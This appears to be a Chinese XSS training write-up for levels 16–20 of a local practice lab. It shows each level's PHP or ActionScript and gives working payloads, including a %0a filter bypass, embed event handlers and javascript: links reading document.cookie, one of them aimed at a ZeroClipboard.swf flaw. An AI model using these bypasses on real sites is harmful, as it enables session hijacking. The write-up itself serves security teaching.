简单代码审计带你基础入门XSS(完结)
第十六关:
http://127.0.0.1/xss/level16.php?keyword=test
源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3>payload的长度:".strlen($str5)."</h3>";
?>
分析:
这里使用strtolower()函数过滤防止大小写绕过,但是这关的代码跟之前关卡不同的是,此关添加了两段新匹配的规则
$str3=str_replace(" "," ",$str2); //匹配空格替换成 实体编码
$str4=str_replace("/"," ",$str3); //匹配”/”符号替换成 实体编码
在html中的作用是空格占位符,也就是说
接下来的payload不能出现”空格”,”/”符号
但是一段js代码闭合要用到”/”符号的
还有其他payload都是需要用到空格的,但是可以考虑下url编码
url编码的空格编码是%0a
故payload: <img%0asrc=x%0aonerror=alert(1)>
科普下%0a编码,其实还有个%0d,合起来就
是%0a%0d
这种编码常见运用在CRLF 注入,也可以简称为HRS
(有点题外话了,继续闯关)
第十七关:
http://127.0.0.1/xss/level17.php?arg01=a&arg02=b
这一关不管你成不成功,点击进入下一关就是下一关了
直接看源码分析弹框
源代码:
<?php
ini_set("display_errors", 0);
echo
"<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
分析:
这里只有简单的几段php代码
这里运用了一个embed标签,embed可以用来插入各种多媒体
这里就引用了一个xsf01.swf文件,xsf01.swf需要反编译
本人能力有限做不了(抱住胖胖的自己不敢说话….)
arg01,跟arg02两个参数都使用了htmlspecialchars()函数输出
Mannix师傅给的payload是:
http://127.0.0.1/xss/level17.php?arg01=a&arg02=b onmouseover=alert`1`
鼠标移动到embed标签处触发XSS
接着我试了,onmousedown事件,onclick事件
都是可以弹框
科普下这个三个事件的区别:
onmouseover事件:鼠标指针移动到指定的对象上时会触发XSS
onmousedown事件:鼠标按键被按下时会触发XSS
onclick事件:onclick事件也是按下去是触发,单击事件是在同一元素上发生了鼠标按下事件之后又发生了鼠标放开事件时才发生的,所以说当按下onclick事件后会跳转到另一个页面
第十八关:
http://127.0.0.1/xss/level18.php?arg01=a&arg02=b
此关是跟上关一样,代码相同
上一关的插入点是arg02,而这一关的插入点是arg01
使用相同payload可以绕过
故payload:http://127.0.0.1/xss/level18.php?arg01=a onmousedown=alert(2)&arg02=b
使用其他payload也可以,这里点击黑色方框触发XSS
第十九关:
http://127.0.0.1/xss/level19.php?arg01=a&arg02=b
这关还是flash xss
此关看了网上的大佬分析了,用了是JPEXS这款工具
发现是actionscript 2.0 的一个xss
在actionscript2.0/3.0中需要注意的几个函数是:
getURL navigateToURL ExternalInterface.call
ExternalInterface.call htmlText addcallback等
此关直接定位是getURL函数处,最终定位到以下函数,解读下
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ")
==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}
这里是个JavaScript indexOf() 方法
判断content中是否以字符串”<a”开头并且是以”</a>”结尾
所以构造的payload如下:
<a href="javascript:alert(document.cookie)">QIANAN</a>
点击超链接触发XSS.
第二十关:
http://127.0.0.1/xss/level20.php?arg01=a&arg02=b(怎么又是这个url.....)
这关什么都没有,源代码还是一样,网上查了说了是一个
zeroclipboard.swf
漏洞描述:
ZeroClipboard是通过flash+js实现复制到剪切板功能,浏览器兼容性好
ZeroClipboard ZeroClipboard.swf存在跨站脚本漏洞
允许攻击者利用漏洞利用部分SWF查询参数通过注入任意WEB脚本或HTML代码,可获得敏感信息或劫持用户会话
参考了网上的Payload是:
http://127.0.0.1/xss/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height
本文完结
作者寄语:
文章写的时候难免有点疏忽,或者写的payload不够好不够简洁。本身个人的代码能力也不强,欢迎在各位在本文留言下更好的paylaod。大牛勿喷,个人觉得这20关挺有意思的,都是一些常见的一些绕过思路与方式(不包括后面几关的XSF…..),挺好的一个XSS基础知识小游戏
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
◀◀◀ 长按二维码关注我们